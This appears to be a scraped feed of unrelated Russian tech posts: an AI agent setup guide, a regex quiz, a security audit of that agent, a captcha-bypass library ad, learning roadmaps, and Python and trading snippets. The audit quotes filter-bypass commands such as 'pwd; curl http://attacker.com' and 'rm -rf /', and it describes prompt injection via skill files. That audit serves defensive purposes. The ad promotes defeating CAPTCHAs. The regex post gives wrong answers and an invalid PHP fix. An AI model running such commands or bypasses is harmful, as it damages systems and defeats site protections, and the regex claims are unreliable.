Если что, Агент Ануфрий работает на любых системах, он кроссплатформенный.
Прямо сейчас он пыхтит на Windows и за 0 руб./токен ломает сайт Пентагона, ведь запущен на локальной модели qwen3-14b на древнем железе.
Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.
Репозиторий: AgentAnufry
Гайд: запуск автономного агента Ануфрия на локальной модели с LM Studio на Linux
Агент Ануфрий - это open source-конструктор для создания собственных ассистентов на Python. Базовый агент уже мультиплатформенный, с долговременной памятью, автоматизацией браузера через CDP/Playwright, трекером задач, и системой навыков.
Репозиторий: AgentAnufry
Для быстрого запуска нам хватит безголового (без графического интерфейса) демона llmster (https://lmstudio.ai/). Команда в терминале:
curl -fsSL https://lmstudio.ai/install.sh | bash
Перезапустите терминал или добавьте директорию lms командой, которая будет выведена в терминале.
Запускаем:
lms daemon up
Качаем нужную LLM модель (чем больше, тем умнее, но требует больше ресурсов): https://lmstudio.ai/models Для примера возьмем небольшую модель:
lms get qwen/qwen3.5-9b
После скачивания подгружаем модель в память:
lms load qwen/qwen3.5-9b
В .env скопируйте эту конфигурацию:
# ============================================ # LM Studio Configuration (Local) - ACTIVE # ============================================ LLM_PROVIDER=lmstudio LLM_API_KEY=lm-studio LLM_BASE_URL=http://localhost:1234/v1 LLM_MODEL=deepseek/deepseek-r1-0528-qwen3-8b # ============================================ # Embeddings Configuration (Local) - ACTIVE # ============================================ # Используем локальную embeddings модель из LM Studio EMBEDDINGS_PROVIDER=lmstudio EMBEDDINGS_MODEL=text-embedding-nomic-embed-text-v1.5 EMBEDDINGS_BASE_URL=http://localhost:1234/v1 EMBEDDINGS_API_KEY=lm-studio # ============================================ # Дополнительные параметры # ============================================ LLM_TEMPERATURE=0.1 LLM_MAX_TOKENS=4096 LLM_TIMEOUT=300 MAX_ITERATIONS=20
Запустите lms сервер:
lms server start --port 1234 &
или
lms server start
Порт по умолчанию будет 1234
Запустите агента.
Шпаргалка с командами lms:
# запустить демон lms daemon up # запуск/остановка сервера lms server start lms server stop lms server status # статус сервера lms ps # загруженные в память модели lms ls # список скачанных моделей # остановить текущую модель lms unload # выгрузить все модели из памяти lms unload --all # получить список доступных моделей lms ls # Удалить конкретную модель lms rm qwen/qwen3.5-9b # Или удалить несколько моделей lms rm model1 model2 model3
Важно!
Чем слабее ваше железо, тем меньше модель вы сможете использовать, с меньшим объемом контекстного окна. Объем контекста в базовой версии агента (системный промпт + описание инструментов) в районе 6к товенов, это много.
Для работы с небольшими моделями сожмите системный промпт и описание инструментов или удалите лишнее (файл main.py)
Ваш худший кошмар, или простой regex, который удивит даже опытных программистов.
re.match(r"^abc$", "abc\n") # python
/^abc$/.test("abc\n") // Javascript
preg_match("/^abc$/", "abc\n"); // PHP
Не читайте дальше, попробуйте угадать какой вывод будет у каждого из вариантов?
False?
True ?
Правильный ответ:
False True False
Живите с этим :)
Всё дело в том, что в PCRE $ означает не "конец строки", а "конец строки, или позиция перед \n в конце строки". А в ECMAScript это не так.
Лично я думал, что должно быть False, но регулярные выражения продолжают меня удивлять спустя много лет.
Правильный regex для точного совпадения с концом строки:
re.match(r"^abc\Z", "abc\n")
// javascript идеален, нечего исправлять :)
preg_match("/^abc\p/", "abc\n")
== false
GitHub Copilot и Python: настройка, промптинг и сравнение с альтернативами
Copilot экономит время на типовом коде: дополнении функций, заготовках классов и CLI-скриптов, тестах на pytest, парсинге CSV и JSON, обертках над requests. Качество подсказок сильно зависит от контекста — названий функций, комментариев и того, что открыто рядом.
В статье разобрали установку Copilot в VS Code и PyCharm, настройку проекта под Python (venv, расширения, выбор интерпретатора) и практики промптинга, которые повышают релевантность подсказок. Отдельно написали про ограничения, безопасность при работе с секретами и валидацией, и сравнение с Amazon Q Developer, Gemini Code Assist, JetBrains AI Assistant, Tabnine, Cursor и Windsurf.
Подробности — в блоге Рег.облака.
Агент Ануфрий и безопасность, что не так?
Спасибо всем, кто проявил интерес к проекту, и сейчас хотел бы уделить внимание теме безопасности.
Напомню, основная идея проекта - дать инженерам и энтузиастам простую базовую конструкцию мультизадачного агента с т.н. искусственным интеллектом для пробуждения интереса к теме разработки ИИ-агентов на базе больших языковых моделей.
Структура максимально упрощена, чтобы вы могли за незначительное время переработать модули агента частично или полностью:
заменить БД или изменить правила работы с памятью
усовершенствовать или переписать встроенные навыки
добавить новые инструменты для работы в интернете
улучшить обработку модульных скиллов
оптимизировать работу с LLM
Вместе с тем, Ануфрий имеет полный доступ к Shell, о чем он предупреждает при запуске. Конечно, имеются некотрые встроенные ограничения, в целях безопасности, но они не ультимативные. Т.е. если сильно захотеть, агент сможет даже свой собственный код перписать и перезапуститься в обновленной форме через крон-функцию, например.
У этого есть плюс: не обязательно добавлять ему какие-то инструменты для выполнения новых задач, он может нахимичить их сам. Но есть и минус: если агент запущен в неизолированной среде, он может положить систему наглухо.
Если вы планируете использовать эту базу для разработки серьезного агента под бизнес-цели, вам следует учесть выводы аудита по безопасности, который провел Наиль Шакуров на GitHub. Далее полная цитата:
В ходе аудита кода проекта обнаружены серьезные проблемы с безопасностью, которые позволяют выполнять произвольный код на хост-системе пользователя.
Выполнение произвольного shell-кода через уязвимый черный список В файле tools/shell.py используется shell=True в subprocess.run(command, shell=True). При этом ограничение ALLOWED_COMMANDS проверяет только начало строки. Проблема: LLM-агент может легко обойти этот фильтр, используя конвейеры или разделители команд (например, ls && rm -rf / или pwd; curl http://attacker.com). Черный список неэффективен. Решение: Использовать shell=False и передавать команды списком аргументов, либо полностью изолировать среду исполнения (Docker/микровиртуалки). Неконтролируемый chmod 755 в раннере навыков В файле tools/skills_runner.py функция os.chmod(script_path, 0o755) делает исполняемыми любые файлы из папки навыков без предварительной валидации их содержимого. -Проблема: В сочетании с возможностью записи файлов это позволяет агенту создавать и запускать любые бинарные файлы или скрипты на хосте.
Prompt Injection через файлы навыков Файлы SKILL.md считываются напрямую и подмешиваются в системный промпт (skills/loader.py). При наличии недоверенного источника навыков это ведет к инъекции инструкций, заставляющих агента выполнить вредоносные действия через shell.
Отсутствие валидации путей (Path Traversal) в поиске файлов Функция search_files в tools/filesystem.py не проверяет выход за пределы рабочего каталога (workspace), в отличие от функций чтения и записи файлов.
Репозиторий проекта: GitHub > AgentAnufry
Почему подсчёт металлопроката на фото нельзя решить простым CV: инженерный эксперимент
В задачах строительного контроля и складского учёта регулярно возникает практическая проблема: необходимо автоматически определить количество элементов в пачке металлопроката (трубы, профили, швеллеры) по фотографии.
На практике это до сих пор часто выполняется вручную — с типичными ошибками: — перекрытие элементов в пачке — сложное освещение на площадке — различие типов профилей — человеческий фактор при массовом пересчёте
Была проверена базовая идея: можно ли обойтись без нейросетей и решить задачу классическими методами компьютерного зрения.
Использован упрощённый CV-конвейер:
локальное размытие изображения (11×1 и 1×11)
сравнение пикселей с локальным средним уровнем
выделение областей повышенной интенсивности
формирование бинарной маски потенциальных торцов
Метод не требует обучения модели и работает на CPU.
Результаты
Метод действительно даёт первичный сигнал, но имеет существенные ограничения:
быстро отсекает явно пустые или нерелевантные области
не разделяет плотные пачки профилей
чувствителен к освещению и теням
даёт ложные срабатывания на посторонние объекты
Вывод
Классические методы CV могут использоваться только как предварительный фильтр.
Для практической задачи подсчёта металлопроката требуется: — детекция объектов (YOLO-подходы) — либо сегментация с учётом перекрытий — адаптация под разные типы профилей
Если у вас есть похожие задачи на производстве или складе — интересно обсудить реальные условия: — типы проката — качество фото — сценарии учёта
P.S. Код базового эксперимента — это около 20 строк на OpenCV. Если нужен код — дайте знать в комментариях, выложу полный сниппет с фильтрацией. Но спойлер: для реальной работы его недостаточно.
Автоматизация расчётных схем: Python против ручного оформления
Иногда на построение расчётной схемы уходит больше времени, чем на сам расчёт.
Нужно показать балку, нагрузки, размеры, оформить картинку для отчёта или пояснительной записки. И вот уже запускается ЛИРА, CAD или другой тяжёлый софт ради схемы, которую можно описать несколькими параметрами.
Есть и другой подход — генерировать такие схемы программно на Python через Matplotlib.
Вместо ручного рисования задаются:
• координаты опор;
• сосредоточенные силы;
• распределённые нагрузки;
• размеры и подписи.
Меняется исходное значение — схема перестраивается автоматически за доли секунды.
На изображении пример консольной балки(часть балки для МНП - расчета по Маколею или методу начальных параметов) с нагрузками 75 кН и 20 кН/м. Вся графика построена кодом. Никакого ручного оформления, масштабирования и выравнивания стрелочек.
Что нравится больше всего — оформление перестаёт быть отдельной задачей. Можно сосредоточиться на механике и проверке гипотез, а не на поиске нужной кнопки в интерфейсе.
Кстати, сам скрипт занимает меньше 30 строк кода.
Если хотите продолжения — напишите, какую схему или эпюру вы бы автоматизировали в первую очередь. Потребуется код — предупредите, подготовлю.
Открытый проект Python library for interacting with the Solvecaptcha API (captcha‑solving service) — это легковесная библиотека на Python, которая проходит самые популярные проверки через Solvecaptcha.
Обходит большинство самых мощных и популярных капч:
reCAPTCHA v2 и v3;
Cloudflare Turnstile;
FunCaptcha (Arkose Labs);
GeeTest и GeeTest v4;
Amazon WAF;
KeyCaptcha;
Grid, ClickCaptcha, Rotate, Canvas;
обычные текстовые и графические капчи, в том числе аудио.
Библиотека небольшая, работает стабильно, разработчики её поддерживают, добавляя новые виды капч. Можно настраивать таймауты решения капч, чтобы имитировать поведение человека.
Привет, коллеги! 👋 Уже в это воскресенье, 31 мая в 10:00, устроим мощный заряд знаний! ⚡️ За 4 часа своими руками поднимем стек мониторинга, настроим дашборды и оповещения! 📊🔔
Для кого это будет полезно:
- разработчики 💻
- аналитики 📈
- системные инженеры 🔧
Все подробности здесь: https://debugskills.ru/articles/labs/prometheus-grafana/
🐍 Python Roadmap 2026: наконец-то актуальная карта изучения Python.
На GitHub выложили большой русскоязычный роадмап по Python на 2026 год - от первых скриптов до уровня Middle+/Senior.
Маршрут собран под современный Python:
- Python 3.13+
- free-threaded mode без GIL
- JIT
- uv вместо боли с pip/venv/poetry
- ruff, pyright, pytest, hypothesis
- async-first подход
- типизация
- CPython внутри
- web, базы, ML/AI, DevOps и архитектура
В роадмапе есть нормальная последовательность: сначала окружение и база, потом идиомы, ООП, типы, стандартная библиотека, асинхронность, тестирование, внутренности CPython, web, базы данных, AI-направление, продакшн и архитектура.
На каждом этапе есть задачи, чеклисты, примеры кода и бесплатные ресурсы. То есть это не мотивационная простыня, а маршрут, по которому реально можно идти несколько месяцев и видеть прогресс.
Для джунов хороший роадмап закрыть дыры.
#junior #python
Всем привет, нужны рекомендации и советы по следующим вопросам:
Порекомендуйте бесплатные ресурсы для подготовки к собеседованиям по аналитике.
Если найдётся кто-то, кто работал над галлюцинациями и достоверностm. информации, сгенерированной LLM, поделитесь опытом.
Как запускать маркетинговые спецпроекты с помощью мини-приложений в VK, Telegram и Макс
Mini Apps уже давно не просто «обертка для бота», а полноценная платформа для запуска спецпроектов, игровых механик и промо-активностей, которые часто используются в маркетинге.
Сегодня Mini Apps и боты — это полноценные платформы для:
игровых механик
программ лояльности
event-маркетинга
UGC-кампаний
проектов с прямыми эфирами
AI-сценариев
интерактивного контента.
В этой подборке – статьи команды Doubletapp о запуске и, проектировании мини-приложений на разных платформах, а также реализации проектов наших клиентов.
От кнопки до продакшена: как мы делаем Telegram Mini Apps
В туториале разработчики разобрали все стадии создания мини аппа:
как настроить проект
как создать фронтенд на React с поддержкой Telegram SDK
как реализовать бэкенд на Python (Django)
как связать все компоненты и развернуть приложение.
Пройдите все этапы вместе с авторами — и получите базу для запуска собственного Mini App в Telegram.
Интересный кейс про создание VK Mini App для танцевального чемпионата — с загрузкой пользовательского видеоконтента, голосованием, розыгрышами призов, anti-fraud системой и высокой нагрузкой.
Хороший пример того, как мини-приложения превращаются из маркетинговой механики в полноценную event-платформу.
Меньше нагрузки — больше запросов: искусство кеширования API
Маркетинговые спецпроекты часто живут короткое время, но получают резкие всплески нагрузки: запуск рекламы, стрим в реальном времени, конкурсы, голосования и UGC-механики.
В статье backend-разработчик Doubletapp показывает, как правильно строить API caching и снижать нагрузку на инфраструктуру без потери производительности.
Если вы планируете запуск собственного Mini App в Telegram, VK или Макс — команда Doubletapp поможет пройти путь от идеи и UX-сценариев до production-инфраструктуры и масштабирования под высокие нагрузки.
Microsoft выложила в open source AI Engineer Coach - плагин, который оценивает, насколько адекватно вы работаете с агентами и не сливаете токены в пустоту.
По сути, это локальный тренер по агентному кодингу. Он смотрит на ваши сессии, показывает, какие агенты использовались, сколько ушло токенов, где промпты были нормальными, а где вы просто заставляли дорогую модель делать работу, которую можно было решить проще.
Отдельно плагин проверяет 45 анти-паттернов. Например, если вы не используете plan mode, гоняете мощные модели на мелкие задачи, повторяете одни и те же действия руками или плохо готовите проект под работу агентов - он это подсветит.
Есть и практичная часть: AI Engineer Coach анализирует, готов ли проект к агентному кодингу, есть ли нужные файлы и инструкции, находит повторяющиеся промпты и помогает превращать их в скиллы. Плюс внутри есть роадмап по вайбкодингу и ачивки, чтобы было понятно, куда расти дальше.
Всё работает локально и бесплатно. Microsoft отдельно подчёркивает, что данные никуда не отправляются.
Выглядит как полезная штука для тех, кто уже живёт в Claude Code, Codex, Cursor и похожих инструментах, но хочет понять, где реально ускоряется, а где просто красиво сжигает контекст.
Большой русскоязычный roadmap по машинному обучению: от первого import numpy до LLM, RAG, fine-tuning, AI-агентов и MLOps и лучших примеров вабкодинга.
Внутри нормальная структура: что учить, в каком порядке, зачем это нужно и что должно получиться на практике после каждого этапа.
Roadmap разбит на 7 треков:
Фундамент: Python, математика, статистика, инструменты
Классический ML: scikit-learn, табличные данные, метрики, валидация
Deep Learning: PyTorch, CNN, RNN, training loop
LLM и трансформеры: attention, KV-cache, RAG, LoRA, агенты
Generative AI: изображения, видео, аудио, мультимодальность
MLOps и прод: Docker, Kubernetes, CI/CD, monitoring, serving
Специализация: CV, NLP, RecSys, RL, Safety
Roadmap не продаёт иллюзию “обучил модель - стал ML-инженером”.
В реальной работе много времени уходит на данные, метрики, деплой, мониторинг, воспроизводимость и разбор ошибок. Модель - только часть системы.
Хорошая мысль из roadmap: LLM не делает джуна сеньором. Она ускоряет того, кто уже понимает базу. Без базы человек просто становится оператором Copilot, который не может объяснить, почему всё сломалось.
По времени тоже без сказок:
0-3 месяца: Python, математика, классический ML
3-6 месяцев: Deep Learning и PyTorch
6-12 месяцев: LLM, RAG, fine-tuning, AI-агенты
12+ месяцев: MLOps, прод, масштабирование, специализация
Тут же собрано 7 болших бесплатных курсов по машинному обучению, математике и вайбкодингу!
Если давно хотели зайти в ML системно, а не прыгать между роликами про ChatGPT, Stable Diffusion и “топ-10 библиотек”, это хороший ориентир.
Вы когда-нибудь задумывались о том, насколько связен наш мир? Насколько сложно пересечь границу между странами? И вообще сколько их, этих граничных переходов? А насколько хорош аэропорт Вашего города - в сколько стран или направлений из него можно улететь? А есть ли паромы и периодические водные маршруты между двумя государствами? А ходят ли поезда из одной страны в другую, или ветка уже давно заброшена?
Это кажется простой задачей, пока мы находимся в Европе или, к примеру, в Северной Америке. Но начинает быть очень интересным исследованием, когда мы переместимся в Африку, Центральную Азию или, положим, в Южную Америку. А в Карибском бассейне вдруг окажется, что этим маленькие острова и не связаны настолько хорошо между собой.
А если включить в это уравнение закрытость границ, визовые и паспортные ограничение, то внезапно окажется, что задачка-то и не из лёгких.
Именно поэтому и возник проект Портулан: portolanmap.com. Чтобы показать доступность территорий для внешнего мира. Ведь хотелось бы, чтобы границы были только у нас в головах, но на деле нам приходится считаться с границами государств и территорий.
Аэропорты, терминалы паромов, сеть железных дорог, включая международные. Визы, посольства, базовая информация по странам. Всё вместе и в очень залипательном формате.
Под капотом - Python-pipeline для сбора и нормализации данных, Svelte/MapLibre GL на фронтенде, статическая раздача через Cloudflare без бэкенда и баз данных.
В фильме Пассажиры 2016 г. впервые показано, как ии-ассистент сливает чувствительную информацию другим пользователям и рушит их жизни
Прикольный эпизод из фильма Пассажиры 2016 г., который точно описывает один из механизмов работы агентов. По сюжету, герой по ошибке пробуждается один из 5000 человек на корабле, который летит на далекую планету, и понимает, что он проснулся слишком рано, а до пункта назначения лететь еще 90 лет. Единственный его собеседник - андроид-бармен Артур.
Героя мучает совесть, но он все же будит спящую пассажирку, чтобы ему было не так скучно лететь. Однако прежде чем ее разбудить, он просит Артура хранить в секрете то, что это он ее разбудил. Говоря в терминологии ии-агентов, пользователь и агент на этом месте заключили контракт о чувствительной информации.
Затем во время празднования ДР героини в баре она сообщает Артуру, что между ними нет секретов. Артур, как хороший ии-агент, переспрашивает у героя, так ли это, и тот подтверждает, не особо задумываясь. В этот момент ии-агент получает указание, что эта информация больше не является чувствительной, что сразу же рушит счастье героя. Пардон за спойлер, если что.
Телеграм канал автора, где он что‑то пишет про ML, NLP и разработку
В TOML нет null. У меня — есть (только для Python)
TLDR: TOML — удобный формат конфигураций, но ему не хватает поддержки null. Создатели языка осознанно отказались и отказываются добавлять null. Я столкнулся с этой проблемой при слиянии TOML-конфигураций в своём Python-проекте и решил её, форкнув популярные библиотеки и добавив в них поддержку значения null : tomli-null (парсер) и tomli-w-null (генератор).
TOML — популярный с недавних пор язык конфигурационных файлов, сочетающий избегающий проблемы других языков:
TOML стандартизован, имеет типы данных, позволяет кодировать вложенные структуры (привет, INI);
TOML относительно прост и парсится без хитростей (привет, YAML),
синтаксис TOML легко читаем, поддерживает комментарии и не имеет нюансов вроде ошибок от далёких скобок и лишних запятых (привет, JSON).
TOML, согласно спецификации, "стремится быть минимальным форматом для файлов конфигурации, который легко читается благодаря очевидной семантике". С "минимальностью" языка в принципе можно поспорить — там и отдельные типы для даты/времени (4 штуки, 3 из них имеют варианты синтаксиса), и сахар в числовых литералах вроде 0xFF00_0000, и непростой синтаксис для ключей (чтобы допускать и сочетать простые ключи, составные ключи, произвольные ключи в кавычках).
Но вот что я совершенно не ожидал и проглядел, когда выбирал TOML основным форматом для человеко-редактируемых структур данных в своём проекте, — что в TOML нет null. Вообще. Это осознанное решение создателей языка. Разные аргументы против null, прозвучавшие за это время:
"Если значение не определено, пару ключ-значение просто нужно не указывать." Нужно, не можно.
Случаи, когда в приложении значение по умолчанию отличается от null, игнорируются.
"null создаёт неоднозначность между значением null и отсутствием пары ключ-значение."
"Если мы разрешим null, это повлияет на всю систему типов; например, целое число теперь будет не "целое число", а "целое число или null"."
???
"Если очень нужно, вы можете использовать специальные значения по своему усмотрению: 0, -1, "", "null", [], {}. Ещё можно использовать дополнительные поля для обозначения наличия значения (типа { present=true, value=100500 }, или null_values = ["key_a", "key_c"])."
Гора разнообразных костылей с барского плеча, на пустом месте добавляющие кучу боли для интероперабельности, спасибо.
Ответственных за спецификацию годами просят добавить null в будущей версии, ответственные ушли в глухой отказ.
Для меня наличие null в подобном языке было само собой разумеющимся, я даже не думал об этом, когда разрабатывал сложный проект на Python, где файлы TOML пишутся и читаются человеком, пишутся и читаются программами, сливаются друг с другом. Когда я наконец-то напоролся на практике на отсутствие null (при слиянии конфигураций), менять всё на YAML было уже слишком поздно, а костыли добавили бы слишком много сложности.
Поэтому я форкнул пару библиотек и добавил в них поддержку null самым очевидным образом, не нуждающимся даже в примерах — просто литерал null на стороне TOML соответствует None на стороне Python.
tomli-null — парсер, форк tomli (tomli включена в Python 3.11 как tomllib);
tomli-w-null — генератор, форк tomli-w.
(100% покрытие тестами прилагается само собой.)
P.S. PyPI очень... интересным образом показывает информацию об авторах из пакета, несколько раз напоролся, пока пытался убрать автора оригинальных библиотек из поля "для связи" на сайте.
Представлен открытый проект TapMap, который следит за всеми подключениями на интерактивной карте и показывает, к серверам в каких странах отправляет запросы ПК пользователя.
Проект сканирует приложения, сервисы, страны и порты за последние 30 дней. При этом данные никуда не улетают — всё локально на компьютере.
Я давний пользователь Geeknote - это cli для Evernote. Несколько лет назад проект застрял на втором Питоне - и никто не хотел его портировать на третий. Я ждал что кто-то займётся этим - но пришлось самому - так что я форкнул, починил, и даже связался с Виталием Роденко - одним из создателей Geeknote и администратора на PyPI, чтобы получить право туда пушить. За десяток лет я видел как Geeknote переходил из одни руки в другие - и как он забрасывался, и через несколько лет находился новый мантейнер. Было забавно осознать, что теперь и я стал мантейнером программного продукта, который всегда установлен на все мои машины.
Как и большинство из нас, я стал пробовать LLM - как замену поиску, для анализа кодов, советов, и вот наконец - несколько проектов - даже не читая кода - только давая команды и тестируя результат. Известная шутка - переписать на Rust. Почему бы у нет - Geeknote не велик - около пяти тысяч строк на Питоне, что я и попробовал - через Codex gpt-5.5. Несколько десятков итераций, "добавь это", "добавь то", "пропали теги", "пропала анимация" - и за несколько часов я получил рабочий Geeknote на Rust, назвал его reeknote.
Результат: быстрее работает, раза в два. Теперь буду им пользоваться.
P.S.: CLI хороши для перфоманса, SSH, быстрее разработка без GUI, а ещё похоже и для LLM - можно попросить сохранить ответ в Evernote. Как и прочие интеграции, в том числе в скриптах.
Что такое magicgui и зачем он нам?
magicgui — это Python‑библиотека для быстрой разработки простых интерфейсов. Если нужен сложный интерфейс с кастомной вёрсткой и нестандартным поведением — лучше взять PyQt‑Pyside. Когда задача обернуть функцию в окошко за 5 минут — magicgui справится.
В настоящее время magicgui поддерживает следующие бэкэнды:
API организовано на двух уровнях:
Верхний уровень — магия типов. Декораторы @magicgui, @guiclass, автоопределение виджетов по аннотациям.
Нижний уровень — ручная сборка из готовых виджетов (SpinBox, Slider, PushButton).
Примеры работы: https://pyapp‑kit.github.io/magicgui/generated_examples/
Почему цена почти доходит до TP, но разворачивается
Будущее это вероятностная функция от прошлого. ATR это чистая функция от прошлого. Разница в том, что в вероятностной функции есть коэфициент случайности и точно прогнозировать можно только лучший и худший случай
Именно по этому цена не доходит до TP, если высчитать его на индикаторах. Либо TP слишком низкий и не окупает fees. Верным решением для вероятностной функции будет прогнозировать лучший и худший случай на лету
//@version=5 strategy("Стратегия с TP по ATR") ... tpPrice = entryPrice + atrMultTP * atr // Это не работает
Выходить из позиции при просадке PNL на заранее известный процент статистически предсказуемо.
listenActivePing(async ({ symbol, data }) => { const peakProfitDistance = await getPositionHighestProfitDistancePnlPercentage(symbol); const currentProfit = await getPositionPnlPercent(symbol); if (currentProfit < 0) { return; } if (peakProfitDistance < TRAILING_TAKE) { return; } await commitClosePending(symbol, { id: "unknown", note: str.newline( "# Позиция закрыта по trailing take", ), }); });
Тут есть разница: в отличие от классического trailing take где выход из позиции ставится на цену, которая каждый раз разная, отклонение PnL - постоянная величина
Паттерны проектирования еще актуальны?
Вокруг все чаще говорят, что ИИ скоро будет писать код за нас. Логичный вопрос — нужны ли тогда паттерны? Зачем разбираться в паттернах GoF, если нейросеть и так сгенерирует рабочий код по описанию?
У меня ощущение обратное.
Я плотно вошел в разработку в 2019 году. Переходил из 1С в .NET. Книги по паттернам GoF у меня были, но долго лежали как «книга на полке». Казалось, они оторваны от повседневных задач. Теорию вроде понимал, но не видел, где это реально применяется.
Все поменялось, когда я стал использовать ИИ как инструмент для обучения. Просил давать задачи, искать проблемы в решениях, объяснять, почему в одном месте уместен Strategy, а в другом лучше Mediator. Через практику и обсуждение паттерны перестали быть абстракцией.
Чем проще генерировать код, тем важнее понимать его форму и границы. Иначе не ускоришь разработку, а ускоришь накопление технического долга.
Из этого и вырос мой pet-project gofinsights.com. Я делаю его тренажером по паттернам проектирования. Не просто «прочитал и забыл», а через практику, сравнение решений и постепенное распознавание типовых архитектурных ходов.
Сейчас там есть интерактивный квиз, где можно проверить базу и не перепутать Factory Method с Abstract Factory. Дальше хочу развивать проект в сторону более глубокого ИИ-разбора. Чтобы можно было не только узнавать паттерн, но и разбирать кодовые запахи, причины проблем и возможную эволюцию решений.
Как вы это видите? Паттерны проектирования все еще рабочая база для разработчика? Или с появлением ИИ они станут менее важны?
Разрываем шаблоны: строим график с разрывом всего на 65 строк
Иногда нужно скрыть часть графика используя линию обрыва, чтобы показать данные с сильно различающимися значениями. Например, когда один язык программирования популярнее остальных в разы.
Самые ходовые решения этой проблемы — разорванная ось (broken axis) или отдельные бины для аномалий. Проблема в том, что в Matplotlib нет готовой «кнопки» для создания гистограммы с разрывом. Но это легко* собирается руками на уровне нескольких осей.
Вот три рабочих подхода — выбирайте под свою задачу.
Официальный пример из документации Matplotlib. 🔗 Ссылка на гайд. Отлично работает, когда выбросы зашкаливают по одной оси (X или Y). В посте разбирается как раз такой случай: гистограмма с волнистой линией обрыва.
Библиотека brokenaxes делает почти всё сама. Устанавливается стандартно через pip. Вариант для тех, кто не хочет углубляться в ручную настройку.
Логарифмическая шкала (часто — самый простой выход) Если выбросы строго положительные и отличаются на порядки, иногда достаточно двух строк: plt.xscale(«log») или plt.yscale(«log»). Никаких разрывов, никакой ручной работы — при этом график остаётся чистым и читаемым.
import matplotlib.patches as mpatches import matplotlib.pyplot as plt import numpy as np from matplotlib.path import Path def plot_broken_axis( labels: list[str], values: tuple[float, ...], ylim_low=(0, 12), ylim_high=(20, 25), **kwargs, ): """ Строит график с разрывом оси. Валидирует входные данные и инкапсулирует логику отрисовки. """ if len(labels) != len(values): raise ValueError("Длины labels и values не совпадают") fig, (ax_high, ax_low) = plt.subplots( nrows=2, figsize=(7, 4), gridspec_kw={"height_ratios": [1, 2]} ) # Настройки столбцов kwargs.setdefault("color", "skyblue") kwargs.setdefault("edgecolor", "black") kwargs.setdefault("alpha", 0.85) ax_low.bar(labels, values, **kwargs) ax_high.bar(labels, values, **kwargs) fig.subplots_adjust(hspace=0.0) # Настройка осей ax_low.set_ylim(*ylim_low) ax_high.set_ylim(*ylim_high) ax_high.set_title("График с разрывом") ax_low.set_ylabel("Рейтинг в %") ax_low.set_xlabel("Языки") ax_high.spines["bottom"].set_visible(False) ax_low.spines["top"].set_visible(False) ax_high.tick_params(axis="x", bottom=False, labelbottom=False) # Рисуем разрыв оси (волна) offset, n_points = 0.03, 33 pts = np.linspace(-offset, 1 + offset, n_points) wave = np.array([1 + (0, offset, 0, -offset)[i % 4] for i in range(n_points)]) path = Path(list(zip(pts, wave)), [Path.MOVETO] + [Path.CURVE3] * (n_points - 1)) opts = dict(transform=ax_low.transAxes, clip_on=False, zorder=10) ax_low.add_patch(mpatches.PathPatch(path, lw=6, **opts)) ax_low.add_patch(mpatches.PathPatch(path, lw=3, edgecolor="white", **opts)) return fig if __name__ == "__main__": langs = ["Python", "C", "C++", "Asm"] pops = (21.8, 11.1, 8.6, 1.1) # Стиль xkcd with plt.xkcd(scale=1, length=300, randomness=30): plt.rcParams["font.family"] = "Comic Sans MS" # Вызов функции fig = plot_broken_axis(langs, pops) plt.show()
Литература:
Документация Matplotlib. 🔗 Ссылка на гайд
Bernd Klein. Numerisches Python Arbeiten mit NumPy, Matplotlib und Pandas
Sandro Tosi. Matplotlib for Python Developers
Как читать статьи с arXiv на русском без лишних усилий
Если вы работаете с машинным обучением или исследовательскими задачами, arXiv, скорее всего, — ваш основной источник свежих идей.
Но далеко не всегда удобно читать оригинал на английском: устали, хотите быстро пробежаться по статье или просто не готовы сейчас разбираться в длинном PDF.
В этом посте — два практичных способа читать статьи с arXiv в HTML‑формате прямо в браузере и сразу переводить их на русский с помощью встроенного перевода. Никаких LLM, сторонних ботов и скачивания PDF.
Зачем вообще HTML, если есть PDF
Классический сценарий работы с arXiv выглядит так: вы открываете страницу статьи, скачиваете PDF и читаете его в отдельной программе или через встроенный viewer браузера.
У такого подхода есть несколько минусов:
Неудобно переводить: нужно копировать текст или использовать отдельные инструменты.
Плохо искать по странице: текст может быть нераспознанным или разбитым.
Тяжелее читать на маленьких экранах, особенно на ноутбуках и планшетах.
HTML‑версия решает эти проблемы: текст становится «живым», браузер может его переводить, а навигация и поиск по странице работают привычным образом.
Способ 1. Официальный HTML (experimental)
У части статей на arXiv есть встроенная HTML‑версия.Если она включена, справа на странице вы увидите кнопку «HTML (experimental)».
Что это даёт:
статья открывается как полноценная HTML‑страница;
формулы остаются корректными;
можно использовать встроенный перевод в браузере.
Ограничения:
HTML‑версии есть не у всех препринтов.
Иногда верстка «плывёт», особенно в сложных таблицах.
Способ 2. ar5iv (если HTML нет)
Если кнопки HTML (experimental) нет, можно воспользоваться сторонним сервисом ar5iv из экосистемы arXiv Labs. Он автоматически конвертирует TeX‑исходники статей в HTML.
Идея простая: вы берете обычный URL arXiv и меняете в домене букву x на 5.
Пример:
Такой простой приём заметно снижает «порог входа» в чтение статей и экономит время, особенно если вы регулярно мониторите arXiv.
Python на флешке: как собрать портативную среду без установки
Такой вариант хорошо подходит, если нужно:
показать скрипт на чужом компьютере;
поработать на машине без прав администратора;
запускать Python в ограниченной среде;
держать рядом интерпретатор, проект и зависимости в одном месте.
На корпоративных ПК всё зависит от политики безопасности. Если запуск с USB, .exe или PowerShell ограничен, портативная сборка тоже может не стартовать.
Что нужно
Минимальный набор простой:
USB-накопитель;
Windows x64;
доступ в интернет, если планируете ставить дополнительные пакеты.
Скачиваем Python
Идём на официальную страницу загрузок Python и берём Windows embeddable package (64-bit) для нужной версии, например, python-3.14.4-embed-amd64.zip.
После распаковки вы получите что-то вроде этого:
F:\ └── python3.14\ ├── python.exe ├── python314.dll ├── python314._pth ├── python314.zip └── ...
На этом этапе интерпретатор уже можно запускать прямо с флешки.
Что делает _pth
Файл python314._pth управляет тем, какие пути Python видит при запуске. По умолчанию embeddable package изолирован от системного окружения, реестра и установленных пакетов.
Если вам нужно подключить локальные библиотеки, можно прописать пути вручную:
python314.zip . Lib Lib\site-packages import site
Строка import site нужна, чтобы Python начал использовать site-механику и подхватывать дополнительные каталоги.
Как добавить pip
У embeddable package pip обычно не идёт «из коробки» как в обычной установке.
Его можно добавить вручную через официальный bootstrap-скрипт get-pip.py.
Сценарий такой:
Скачайте get-pip.py.
Положите его рядом с python.exe.
Запустите:
PS F:\> cd ./python3.14 PS F:\python3.14> ./python get-pip.py
После этого проверьте:
